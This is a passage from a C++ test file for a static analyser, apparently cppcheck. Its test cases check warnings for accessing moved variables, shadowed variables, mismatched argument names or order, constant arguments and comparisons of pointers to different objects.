ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = 